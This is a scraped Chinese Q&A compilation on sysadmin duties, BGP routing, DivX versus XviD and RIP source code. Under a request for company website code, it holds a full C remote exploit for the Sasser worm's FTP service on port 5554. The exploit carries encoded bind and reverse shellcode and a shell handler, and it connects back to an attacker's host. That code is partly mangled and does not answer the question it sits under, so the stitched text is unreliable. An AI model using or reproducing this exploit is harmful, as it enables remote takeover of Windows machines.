系统管理员的基本要求
系统管理员的基本要求系统管理员主要负责系统设备,如主机、工作站、打印机和存储设备等;还负责软件的维护,包括系统软件和应用软件,要保证它们安全可靠地运行。但是,系统不是独立工作的,它们通过网络互连起来,并且需要与Internet或其他系统进行远程连接。由于各种原因,网络出现故障在所难免,这时,系统管理员必须能够解决一些简单的网络管理问题,而不应该完全依赖网络管理员。在系统规模不大的情况下,系统管理员也应该承当网络管理员的职责。基本要求---- 系统管理员的网络管理含义,远远不止是插上网卡和知道怎样ping通路由器。 ---- 这里列举出一些系统管理员必须了解的知识和背景。当系统管理员想尽快地解决问题时,他应该如何去做呢?他可以打电话给网络售后服务公司,说系统连不上网;或者告诉他们,某个型号集线器的Shelf 5 冲突指示灯一直亮着,每秒通过的帧个数锁定在最大值上。---- 系统管理员首先应该和网络管理员配合好,前者应该具备以下相关的信息:网络管理员上班时间的电话号码、业余时间的电话号码和寻呼号码、业余时间备用的电话号码和寻呼号码。备用号码是非常重要的,因为打常用电话找不到人的情况是经常的。还有一点系统管理员必须心中有数,即在下班后寻呼的反应时间。---- 然后,系统管理员必须知道自己的系统都使用了哪些网络方面的硬件。至少应该包括以下设备:系统的物理线路所连接的集线器或交换机、经常出现在系统路由表中的路由器。还需要知道用于名字识别的域名服务器(DNS)或口令识别的网络信息服务器(NIS),执行系统设置或关键任务所使用的任何服务器,如文件服务器、打印服务器和数据库服务器的口令。网络设备知多少---- 对于每一个系统硬件,系统管理员必须知道以下事情:(1) 它们安装在哪里,能否检查它们是否加电;(2) 能否观察它们的功能是否正常;(3) 它们的型号和制造厂商;(4) 它们的性能,包括速度、全双工支持等等;(5) 它们管理界面的操作方法及怎样启动;(6) 它们有没有服务合同,如果有的话,是和谁订的;(7) 它们有没有故障预报机制。--- 有一次,一位网络管理员正在做系统支持,突然接到一位系统管理员的电话,说系统从网络上断开了,请求支援。其实,这位系统管理员已经很快检查出网卡的link灯不亮,但是他不知道系统的网络电缆连在哪个集线器上。网络管理员来到计算机房之后,摇了一下一个集线器的电源插头,于是所有该亮的灯都亮了,系统也连上了网络。尽管不提倡系统管理员去动网络设备,但是如果这个系统管理员知道他的系统插在哪个集线器上,他应该能意识到是集线器掉了电,那么他就会想起来去检查一下电源插头。---- 许多集线器和交换机都有指示正常运行的指示灯和一些错误信息的指示灯,一个好的系统管理员应该熟悉它们。例如,一连串的数据链路层错误将导致集线器把端口隔离开,从而系统从网上断开。在这种情况下,通常都有指示灯显示端口被隔离了。会有许多原因导致这种错误的产生,有一种情况是网卡的速率设置错误,然而也有把网卡设置为正确的速率而系统仍连不上网的情况。用简单的工具---- 知道设备的制造厂商和型号,对于获得调试信息是重要的。许多厂商已经在Web上发布了设备的配置、操作和调试信息,管理员所需要了解的只是制造厂商和型号。---- 熟悉集线器和交换机的能力就可以避免设置错误。例如,当简单地与集线器连接时,把系统的网卡设置成100Mbps全双工以太网将不会导致通信错误,至少在一个负载不重的局域网上是这样。它可能只是提高一些以太网错误的级别,如CRC校验错。---- 知道怎样使用设备的管理软件是诊断问题的好方法。请注意CRC校验和格式错误及碎片。如果问题不是在双工通讯不匹配上,能够确定设备正在接收由系统发来的数据包是重要的。系统管理员也能发现数据包是否带有纠错,甚至没有必要直接登录到设备或者使用它的管理软件。许多集线器和交换机可以通过SNMP管理。SNMP的优点之一是具有读写口令。尽管不可能从网络管理员那里窥探到管理口令,但是可以让网络管理员设置一个SNMP组,这样系统管理员也能参与部分管理。熟手出好活---- 同样,如果系统管理员对相关的其他系统有熟练操作经验,也是非常有用的。有时会遇到DNS不响应的情况,当系统管理员过去查看时,发现它瘫痪了。如果系统管理员已经或者能够登录,那就好得多。因为这样至少能够检查一些进程是否还在运行。同样,网络管理员应该有上级系统管理员的联系电话和系统的备份。---- 灾难预防是重要的,但是灾难是多层次的。说到灾难,许多人会想到重大的灾难,例如摧毁任何东西的火灾。但是也有小灾难,如前面提到的DNS瘫痪,所造成的影响也是很大的。---- 作为系统管理员,应该认真考虑如下问题:您知道备份DNS的IP地址吗?如果没有备份的DNS,那么您知道关键服务器和客户的IP地址吗?如果知道,您就可以抛开DNS进行维护工作。---- 您在最后一刻将所有最新的变化列表了吗?如果运行中的网络路由器坏掉了,将会发生什么情况?网络管理可能有备份的路由器,但是替换上去要多长时间?最后一次检查它已经过去多长时间了?在有或没有网络管理员合作的情况下,把您的系统从友好网络那里得到恢复,您能做些什么?---- 最后,系统管理员需要知道,尝试各种设置来定位问题要花很长时间。当然,作为一个系统管理员,并没有责任为路由器、交换机等设备设置参数。但是如果将这些设置做备份,对于以后协助解决网络问题很有帮助。如果问题发生在一台并没有什么异常现象的设备上,那么简单地比较一下该设备当前的参数设置和原来的设置,就有可能发现问题,例如路由协议RIP、OSPF或者新的访问控制表出现了变化。熟知系统---- 系统管理员要把注意力集中到系统上来,对于每一块网卡,应该知道它的名称和对它的设置,包括IP地址、子网掩码、速率、是否全双工和其他参数。最好也了解它的MAC地址和配置文件在哪里。如果需要了解网络的变化情况,MAC地址是非常有用的。可能跟踪工具不能报告网卡的IP地址,或者系统依赖于动态主机设置协议(DHCP)从而没有IP地址。但是,如果知道了MAC地址,系统管理员对于网络的一切就都是可见的,就很容易找出问题之所在。如果系统采用DHDP机制,系统管理员一定要懂得它。---- 使用运行参数设置行是分析和定位一些问题的快速方法。例如,如果参数设置行显示网卡的典型值可以达到每秒60个广播,但是现在显示的是每秒600个广播,那么系统管理员就应该检查广播源和它对网络的影响。---- 另一方面,如果网卡上通常显示每秒600个广播,这时系统管理员大概不必担心它会有什么问题。其他所要留意的是帧数和收发的字节数,以及错误出现的频率。---- 对于以太网网卡,出现个别冲突的情况是正常的。需要警惕的是出现延迟冲突和冲突次数过多的现象。系统管理员应该清醒地认识到,运行参数在一天中的任何时刻、一周或一月中的任何一天都可能会变化。这意味着需要备份运行参数。不幸的是,获得低层的网卡统计数据通常不那么容易。有些操作系统提供获得这些参数的命令,有些操作系统如Windows则不提供。有些网卡制造厂商提供获取参数的诊断程序,而有些厂商则没有。---- 除了每个网卡的运行参数,高层协议的运行参数也是有用的。比如,如果系统管理员知道一般情况下网卡每秒进行100个连接,而现在速率一下子跳到了1000个,或猛降到10个,这就应该引起系统管理员的注意。如果速率总是1000个,那就是其他问题了。窍门是应该知道哪些高层协议正在运行,哪些统计数字是重要的。在TCP/IP环境下,许多操作系统包括Windows都可以使用netstat“-s”命令统计每秒钟的连接次数。将问题定位---- 单独的一个小系统很容易管理,它甚至不需要网络管理员。如果系统仅仅单独运行,只有几个企业必需的应用程序在上面,那么,在通常情况下,当其中一个应用程序的使用者打电话说他的程序不干活了,或者系统死机了,系统管理员才知道出了问题。这些问题的出现也可能是网络故障引起的,但是用户不去找网络管理员,他们会找系统管理员。因为他们认为系统管理员应该解决一切问题,他们也不可能判断出是系统方面的原因还是网络方面的原因。---- 在这种情况下,一个系统管理员首先应该做的,是搞清楚问题究竟是出现在网络上,还是出现在系统上,或者是应用程序出了问题。假设网络和系统都运行正常,那么系统管理员应该知道以下内容:应用程序所使用的端口;怎样退出和启动应用程序;应用程序的运行记录的位置、记录入口的含义;谁主要对这个应用程序负责,谁有它的备份,当然,还有他们的联系电话。---- 许多时候,用户的应用程序对查询停止反应了。这时首先要检查的是,搞清楚应用程序是否在监视查询。要做到这一点,系统管理员必须知道系统在监视TCP或UDP的哪个端口。如果系统管理员不知道是哪个端口,那么就无法检查。如果应用程序不工作,重新启动它可能是最快的方法。然而如果这样做了,就可能永远搞不明白系统的问题出在哪里。可是,如果系统必须尽快地恢复工作,那就只能如此了。---- 应用程序登录信息也不见得都有用。这与具体的应用程序和问题类型有关。总之,系统管理员知道得越多,能做的就越多,问题就解决得越快,并且能快些排除潜在问题的产生。系统管理员的安全意识系统管理员意识在UNIX系统中,管理员权限之大,对系统的安全很不利。若系统管理员的登录口令泄密了,则入侵者离窃取系统特权只有一步之遥了,因为系统管理员经常作为超级用户或者说特洛依木马替换系统管理员的某些程序,而这些程序都是系统管理员做为ROOT时要使用的。正是因为这个原因,在UNIX系统中,管理员的户头最常受到攻击。因此系统管理员作为超级用户运行程序时应当特别小心,即使最微小的疏忽也可能将系统的安全拱手交出。下列指导规则可使系统管理员更好地行使权限。不要作为超级用户或以自己的登录户头运行其他用户的程序,首先用SU命令进入用户的户头。决不要把当前工作目录排在PATH路径表的前边,那样实际是招引特洛依木马。当系统管理员用SU命令进入ROOT用户时,他的PATH将会改变,就让PATH保持这样,以避免特洛依木马程序的侵入。敲入/bin/su执行su 命令。若有su源码,将其改成必须用全路径名运行。不要未注销户头就离开终端,特别是作为root用户时更不能这样。当系统管理员作为root用户时,命令提示符是“#”,这个提示符对某些人来说可能是个红灯标志。不允许root在除控制台外的任何终端登录,如果没有login源码,就将登录名root改成别的名,使入侵者不能在root登录名下猜测各种可能的口令,从而非法进入root的户头。经常改变超级用户的口令。确认su命令记录下想运行su企图的记录,该记录文件的许可方式是600,并属root所有。 这是非法者喜欢选择来替换成特洛依木马的文件。不要让某人作为超级用户运行程序,即使是几分钟,甚至系统管理员在一旁注视着也不行!
简单的说就是对系统具有管理权限的人就叫管理员,一般系统管理员多用在电脑多的地方,私人的电脑自己就是系统管理员啦!不过你得精通电脑才行. 主要分为网络系统管理员和信息系统管理员。网络系统管理员主要负责整个网络的网络设备和服务器系统的设计、安装、配置、管理和维护工作,为内部网的安全运行做技术保障。服务器是网络应用系统的核心,由系统管理员专门负责管理;信息系统管理员则负责具体信息系统日常管理和维护,具有信息系统的最高管理权限。系统管理员(有时简称为sysadmin)是负责管理多用户计算机环境的人,例如局域网(LAN)。系统管理员的职责主要包括:安装和配置系统的硬件和软件;建立和管理用户帐户;升级软件;备份和恢复业务。
系统管理员的要求:要动的电脑、对局域网非常了解、还要知道很多的命令操作。

BGP路由协议原理
我大概说一下吧 BGP用于AS之间,如电信各运营商之间都是使用BGP协议。1、BGP不同于OSPF/IS-IS/RIP等协议,它是一种AS之间的路由选择协议,而OSPF/RIP等属于AS内部路由选择协议;2、BGP是用来管理路由的,本身不能发现路由,而域内路由选择协议是可以及时发现路由的,并根据不同的算法计算路由。3、BGP对路由的管理体现在:BGP有丰富的路由属性,如:下一跳、metric、优先级、团体等,通过这些属性控制路由在as内的出入。BGP的几个工作原则:1, 忽略下一跳不可达的路由2, 忽略不同步的IBGP路由3, 首选具有最大权重优先,思科私有。(local to router)4, 首选具有最大本地优先级优先。(global within AS)5, 首选具有始发本地的路由的路由器优先,(next hop=0.0.0.0)6, 首选具有最短AS-PATH的路由。7, 首选具有最小的源码的路由,IGP〈EBP〈incomplete8, 当所有路由的AS号都相同的时候,首选MED最低的路由,在所有AS号码相同的时候比较MED9, 首选具有EBGP〉联盟EBGP>IBGP10,首选具有最近的IGP邻居路由器优先,metric11 首选具有最老的路由优先(注意:现在这条基本不用)12,首选具有最低ROUTER-ID的路由。(2个BGP地址不能建邻)13,首选具有最低的neighbor的IP地址 赞同0|评论
BGP的工作原理看书就行了,主要是了解BGP选路的11个规则,学好11个规则,BGP也算差不多了 1, 忽略下一跳不可达的路由2, 忽略不同步的IBGP路由3,首选具有最大权重优先,思科私有。(local to router)4, 首选具有最大本地优先级优先。(global within AS)5, 首选具有始发本地的路由的路由器优先,(next hop=0.0.0.0)6, 首选具有最短AS-PATH的路由。7, 首选具有最小的源码的路由,IGP〈EBP〈incomplete8,当所有路由的AS号都相同的时候,首选MED最低的路由,在所有AS号码相同的时候比较MED9, 首选具有EBGP〉联盟EBGP>IBGP10,首选具有最近的IGP邻居路由器优先,metric11首选具有最老的路由优先(注意:现在这条基本不用)12,首选具有最低ROUTER-ID的路由。(2个BGP地址不能建邻) 13,首选具有最低的neighbor的IP地址
BGP(Border GatewayProtocol)是一种自治系统间的动态路由发现协议,它的基本功能是在自治系统间自动交换无环路的路由信息,通过交换带有自治系统号(AS)序列属性的路径可达信息,来构造自治区域的拓扑图,从而消除路由环路并实施用户配置的路由策略。与OSPF和RIP等在自治区域内部运行的协议对应,BGP是一类EGP(ExteriorGatewayProtocol)协议,而OSPF和RIP等为IGP(InteriorGatewayProtocol)协议。BGP协议经常用于ISP之间。BGP协议从1989年以来就已经开始使用。它最早发布的三个版本分别是RFC1105(BGP-1)、RFC1163(BGP-2)和RFC1267(BGP-3),当前使用的是RFC1771(BGP-4)。随着INTERNET的飞速发展,路由表的体积也迅速增加,自治区域间路由信息的交换量越来越大,影响了网络的性能。BGP支持无类别域间选路CIDR(ClasslessInterdomainRouting),可以有效的减少日益增大的路由表。BGP-4正迅速成为事实上的Internet边界路由协议标准。特性描述如下:BGP是一种外部路由协议,与OSPF、RIP等的内部路由协议不同,其着眼点不在于发现和计算路由,而在于控制路由的传播和选择最好的路由。通过携带AS路径信息,可以彻底解决路由循环问题。 为控制路由的传播和路由选择,它为路由附带属性信息。

急求一套公司用的源代码,只要有留言功能就可以,主页要漂亮点的
#include
#include #include #include #include #define NORM " 33[00;00m"#define GREEN " 33[01;32m"#define YELL " 33[01;33m"#define RED " 33[01;31m"#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM#define fatal(x) { perror(x); exit(1); }#define default_port 5554struct { char *os; long goreg; long gpa; long lla;}targets[] = {// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },}, tsz;unsigned char bsh[]={0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E};unsigned char rsh[]={0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E};char verbose=0;void setoff(long GPA, long LLA) {int gpa=GPA^0xdededede, lla=LLA^0xdededede;memcpy(bsh+0x1d,&gpa,4);memcpy(bsh+0x2e,&lla,4);memcpy(rsh+0x1d,&gpa,4);memcpy(rsh+0x2e,&lla,4);}void usage(char *argv0) {int i;printf("%s -d [opts]nn",argv0);printf("Options:n");printf(" -h undocumentedn");printf(" -p to connect to [default: %u]n",default_port);printf(" -s <'bind'/'rev'> shellcode type [default: bind]n");printf(" -P for the shellcode [default: 530]n");printf(" -H for the reverse shellcoden");printf(" -L setup the listener for the reverse shelln");printf(" -t [default 0]; choose belownn");printf("Types:n");for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)printf(" %d %st[0x%.8x]n", i, targets.os, targets.goreg);exit(1);}void shell(int s) {char buff[4096];int retval;fd_set fds;printf("[+] connected!nn");for (;;) {FD_ZERO(&fds);FD_SET(0,&fds);FD_SET(s,&fds);if (select(s+1, &fds, NULL, NULL, NULL) < 0)fatal("[-] shell.select()");if (FD_ISSET(0,&fds)) {if ((retval = read(1,buff,4096)) < 1)fatal("[-] shell.recv(stdin)");send(s,buff,retval,0);}if (FD_ISSET(s,&fds)) {if ((retval = recv(s,buff,4096,0)) < 1)fatal("[-] shell.recv(socket)");write(1,buff,retval);}}}void callback(short port) {struct sockaddr_in sin;int s,slen=16;sin.sin_family = 2;sin.sin_addr.s_addr = 0;sin.sin_port = htons(port);s=socket(2,1,6);if ( bind(s,(struct sockaddr *)&sin, 16) ) {kill(getppid(),SIGKILL);fatal("[-] shell.bind");}listen(s,1);s=accept(s,(struct sockaddr *)&sin,&slen);shell(s);printf("crapn");}int main(int argc, char **argv, char **env) {struct sockaddr_in sin;struct hostent *he;char *host; int port=default_port;char *Host; int Port=5300; char bindopt=1;int i,s,pid=0,rip;char *buff;int type=0;char *jmp[]=;printf(BANNER "n");if (argc==1)usage(argv[0]);for (i=1;i>8;memcpy(bsh+0x57,&Port,2);memcpy(rsh+0x5a,&Port,2);Port=Port ^ 0xdede;Port=(Port & 0xff) << 8 | Port >>8;break;case 'L':pid++; i--;break;case 'v':verbose++; i--;break;case 'h':usage(argv[0]);default:usage(argv[0]);}}if (verbose)printf("verbose!n");if ((he=gethostbyname(host))==NULL)fatal("[-] gethostbyname()");sin.sin_family = 2;sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);sin.sin_port = htons(port);printf("[.] launching attack on %s:%d..n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);if (bindopt)printf("[.] will try to put a bindshell on port %d.n",Port);else {if ((he=gethostbyname(Host))==NULL)fatal("[-] gethostbyname() for -H");rip=*((long *)he->h_addr_list[0]);rip=rip^0xdededede;memcpy(rsh+0x53,&rip,4);if (pid) {printf("[.] setting up a listener on port %d.n",Port);pid=fork();switch (pid) { case 0: callback(Port); }} elseprintf("[.] you should have a listener on %s:%d.n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);}printf("[.] using type '%s'n",targets[type].os);// -------------------- cores=socket(2,1,6);if (connect(s,(struct sockaddr *)&sin,16)!=0) {if (pid) kill(pid,SIGKILL);fatal("[-] connect()");}printf("[+] connected, sending exploitn");buff=(char *)malloc(4096);bzero(buff,4096);sprintf(buff,"USER xn");send(s,buff,strlen(buff),0);recv(s,buff,4095,0);sprintf(buff,"PASS xn");send(s,buff,strlen(buff),0);recv(s,buff,4095,0);memset(buff+0000,0x90,2000);strncpy(buff,"PORT ",5);strcat(buff,"x0a");memcpy(buff+272,jmp[0],2);memcpy(buff+276,&targets[type].goreg,4);memcpy(buff+280,jmp[1],5);setoff(targets[type].gpa, targets[type].lla);if (bindopt)memcpy(buff+300,&bsh,strlen(bsh));elsememcpy(buff+300,↱,strlen(rsh));send(s,buff,strlen(buff),0);free(buff);close(s);// -------------------- end of coreif (bindopt) {sin.sin_port = htons(Port);sleep(1);s=socket(2,1,6);if (connect(s,(struct sockaddr *)&sin,16)!=0)fatal("[-] exploit most likely failed");shell(s);}if (pid) wait(&pid);exit(0); }

DIVX和XVID的区别
早在1998年微软开发了第一个(也是唯一的)在PC上使用的MPEG-4(注)编码器,它包括MS MPEG4V1、MS MPEG4V2、MS MPEG4V3的系列编码内核。其中的V1和V2用来制作AVI文件,一直到现在它都是作为Windows的默认组件。不过V1和V2的编码质量不是很好,一直到MS MPEG4V3才开始有好转,画质有了显著的进步。但是不知微软出何居心,却将这个MS MPEG4V3 的视频编码内核封闭在仅仅应用于Windows Media流媒体技术上,也就是说,我们经常看到的ASF流媒体文件中。ASF文件虽然有一些优势,但是由于过分的封闭,不能被编辑,未得到广泛的应用。这便惹怒了不怕天不怕地的视频黑客和置于钻研视频编码的高手。后来,这些小组不仅破解了微软的视频编码,而且经过他们的修改,一种新的视频编码诞生了。那就是广为流传的Mpeg4编码器――DivX3.11。 随后一发不可收拾,DivX被传得红得发紫,很快就成了业界的标准。但是问题同样很快的出现了,DivX的基础技术是非法盗用微软的,只能在地下里流传,却上不了台面,正所谓"名不正,言不顺",无法进行广泛的发展,即产品化,更无法生产硬件播放机。"生产力要改变生产关系"在这种情况的迫使下,一些视频编码的高级程序员(包括原DivX 的开发者)组建了一家公司,名为DivXNetworks Inc。这家公司发起一个完全开放源码的项目,名为"ProjectMayo",目标是开发一套全新的、开放源码的MPEG4编码软件。由于它完全符合ISO MPEG4标准,又是完全开放源代码(就象linux操作系统),OpenDivX CODEC吸引了很多软件、视频高手参与。人力、物力大大投入,OpenDivX编码器和解码器原型很快便公布于众,之后又开发出具有更高性能的编码器Encore 2等等。这DivX的辉煌时期。虽然主要编码工作是DXN的人在做,但许多的技术难关的突破完全得力于来自开放源码社会的帮助。DivX的优势被人们所接受,高品质的DVD电影的容量一般为5GB,但经过DivX编码后的大小只有650MB,仅仅为原DVD容量的八分之一,图像品质却与DVD相当。它可以通过互联网相互传输,还可以报存在一张CD光盘(650MB)上。DXN的野心:DivXNetworks一直希望DivX能成为好莱坞巨头们选择的行业标准,并可以通过互联网进行传输的视频文件,就像唱片发行公司不得不接受MP3格式,并使用它在网上传输音乐文件一样。DXN希望并计划在网上出售视频内容的公司达成技术转让的协议。但是,到目前为止,它尚未和任何一家主要的、甚至具有影响力的电影制片公司达成这类协议。很可惜的是想DivX这么好的电影只能在电脑上播放,目前还没有一款播放机能够播放这样的光盘。日前,DXN已经来到了中国,这家公司的负责人表示,目前有许多美国人都希望能买到采用这一技术的DVD播放设备,但全球还没有人能生产,所以他希望能与中国的DVD制造商携手,在年内拿出产品,并且首先在美国推出。"天底下真的好人多么?那么小人算好人么?"就在DivX顺利发展时期,DivX的技术逐渐成熟,商机无限的时候,一台好戏上演了。由于DivX的技术不是依据GPL协议(通用公共许可证,一种开放源码项目中常用的保障自由使用和修改的软件或源码的协议),而是LGPL协议(注)。这是DXN公司为自己留的后门。2001年7月就在Encore2基本成型的时候,DXN公司突然封闭了DivX的原代码,并在此基础上发布了自有产品DivX4。DivX 4的基础就是开放源代码OpenDivX中的Encore 2,DXN利用了DivX的招牌。DNX公司这么做,可以说是初其不备的摆了所有人一刀。开放源码社会就这样被狠狠地涮了一回,他们是那么的无辜。DXN公司趁热打铁,很快推出了DivX5,但是DivX5没有比DivX4强到哪里去,甚至有bug,更可气的是这一版本还要收费。可怜阿,有那么多无偿为DivX技术付出的智慧与劳动的人,可悲阿,他们为一值都在无偿的为DNX公司赚钱。这种垄断和一直处于垄断地位的微软来说,DXN要更恨、更毒。人世间还是好人多!正义当头!首先是全球整个0dayz组织(注)永远的拒绝了DXN公司的DivX45。被人"涮"了一把的开源社团决定另起门户,逐渐重新聚拢开发力量,在OpenDivX版本的基础上,再次开发出一种新的MPEG-4编码、解码软件。这就是:XviD。从技术上来说XviD已经基本上与DivX5接近,或者还有所超越;春天来了:近一年来XviD继承并发展了曾经的OpenDIVX Encore 2,并且使其的性能、效率的到了极大的提升,被认为是目前最快的MPEG4编码。这是因为XviD重新改写了所有原代码,焕然一新。除此之外,Xvid还吸收了前车之鉴,依照GPL发布。(不再是以前DivX的LGPL,也就是说:谁要是想用它做成产品而不开放源码是非法的)而且在2002年,也就是今年,TDX2002(全球最著名的地下电影发行组织,每年在网上放出数千部最新而且高品质影片RIP)已经接纳XviD为官方标准。这样TDX2002就有了两个正式标准:DivX 3.11与XviD。而DivX 4、5像其它封闭的商业软件一样,被永远拒绝。报应来了!对开源软件下毒手的人远不止DXN一家,目前因为一家商业软件公司盗用XviD源代码,而被迫停止开发。具体的情况请参阅:http://www.xvid.org;DivX 4/5XviD出品公司 DivXNetworks Inc 开放源代码(GPL授权)推出时间 1998年 2002年2月创始人 罗达(Rota)及电脑黑客基尔(Gej) 被DXN"涮"的人TDX2002认证 Yes YesoDay认证 No Yes最新版本 5.02 1.3+费用 收费 免费压缩时间 长 稍短图像质量 高、接近DVD 高、接近DVD压缩容量 较小 较小编码容量 3.4MB 359K优化设置 一般 强大的可调节性,使用这可设置很多选项,分别针对不同电影进行不同方式的压缩。XviD使用技巧:关于XviD压缩设置的文章很多,XviD可以调节的选项很细,由于篇幅限制,不再本文的讨论之内。在这里,我推荐大家使用"2-Pass"编码, 因为它能给我们更精确的最终文件大小,并且生成最佳质量的编码 (在文件大小相同的情况下)。只安装DivX5的编解码器不能播放由Xvid压缩的电影。但是只安装XviD编码,可以顺利播放DivX5压缩的电影。但是在播放DivX5电影的时候,速度不能让人满意。加上ffdshow(注)之后效果明显改善。看来XviD在播放divX5的还不是很完善。虽然XviD到目前来讲与DivX5对战,仍有些身单力薄,优势不是很明显。但是笔者很看好XviD。首先,它是绝对开放源代码,这使得有更多的人投入到XviD的研发之中。还有,它完全重写DivX的原代码,让新的XivD去粗取精、焕然一新;目前XviD的开发人员有很多都是当初DivX的研发人员,对DivX的错误了解得很清楚,重写之后,XivD的地层优势可见一斑。另外,DivX4/5虽然版本不断更新,但是功能提升并不高,优势不明显。XviD是新生力量,而且充满了复仇的力量。祝XviD一路走好。XviD版本的历史:1.0 2002年2月17日 第一版 ,首次发布1.0 2002年2月28日 大量的修正和更准确地解释1.1 2002年3月2日 分析澄清了很多概念1.2 2002年3月4日 加入量化矩阵(quantization matrix), 移去量(removed quant). 柔和(smoothing) 技术1.3 2002年3月8日 关于 Nic's XviD Directshow Filter 的详释1.3+ 2002年7月23日 按照Nic's XVID Codec校正补充部分内容(目前最新版本)关于DivX起源的小知识:这种名为DivX 的技术,由一个27岁的法籍影音发烧友罗达(Rota)及电脑黑客基尔(Gej)创造出来得。原来DivX所采的技术并非这两位仁兄发明的,他们只不过是个盗版天才。随着Windows的大行其道,微软开发了MPEG-4技术,能够将视频影像文件容量压缩到很小。罗达与基尔将程式重写一遍,但将其改名为DivX,且放在网上随意任人下载。微软声称将对所有推动DivX发展的人、企业作出追究。可是罗达正全面申请将他们的DivX合法化。由于DivX虽然是从Windows的发明出来的,但却没有用过任何微软的技术。而且,他更与美国一些技术人士及财经人员开会,和组新公司 ProjectMayo.com全力推广DivX。 其实,DivX是视频DVD的另一种保存方式,要靠DeCSS程序(注)才能做到。因为DVD本身有防复制的标记,让DVD不能随便复制到电脑里,但DeCSS能将它解码,令其可以复制,压缩成DivX电影。针对这一做法,各大电影商立即采取行动,防止DeCSS外流及散播,但为时已晚,DeCSS在Yahoo!、Google上都能找到。
好贴呀。楼主,请问是从哪里找来的资料呀? 另外有个问题想问,为什么现在DVD芯片厂SUNPLUS有一种芯片8281D(需要认证费用的)可以支持DIVX 3.11,DIVX4,DIVX5,但是他的另外一种芯片不能支持3.11,却能支持DIVX4 和5?
两种不同的 MPEG-4视频压缩格式 XviD是从高版本的DivX发展出来的,与前者并不完全兼容

请问哪里可以找到RIP协议的C或C++实现源代码
http://rip.mozdev.org/source.html 该网站有RIP源代码,本人英语太烂,所以用工具翻译网页,也在目录中看到RIP关键词,应该有源代码,你找看看。

本文由 在线网速测试 整理编辑,转载请注明出处。